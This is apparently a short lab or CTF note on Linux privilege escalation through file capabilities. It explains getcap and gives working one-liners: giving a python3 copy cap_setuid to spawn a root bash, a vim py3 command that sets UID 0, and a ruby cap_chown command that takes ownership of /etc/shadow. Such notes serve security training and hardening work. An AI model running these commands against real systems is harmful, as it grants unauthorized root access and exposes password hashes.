Capabilities (getcap)
/sbin/setcap - SUID Mismanaged Binary
Copy Python into a writable spot, give the copy the cap_setuid capability, then use it to set UID 0 and spawn bash:
cp /usr/bin/python3 /home/annie/python3
setcap cap_setuid+ep /home/annie/python3
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Capabilities are another way system administrators can raise the privilege level of a process or binary, managing privileges at a more granular level. For example, if a SOC analyst needs a tool that initiates socket connections, a regular user normally could not do that. Rather than giving the user higher privileges, the administrator can change the capabilities of the binary so it completes its task without needing a higher-privileged user.
The capabilities man page has detailed information on its usage and options.
Use the getcap tool to list enabled capabilities: getcap -r / 2>/dev/null
In this scenario, vim can be leveraged. GTFOBins gives us the following (note that we have to prepend py3):
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
/usr/local/bin/ruby = cap_chown+ep
Elevate by changing the owner of /etc/shadow:
/usr/local/bin/ruby -e 'require "fileutils"; FileUtils.chown(1002, 1002, "/etc/shadow")'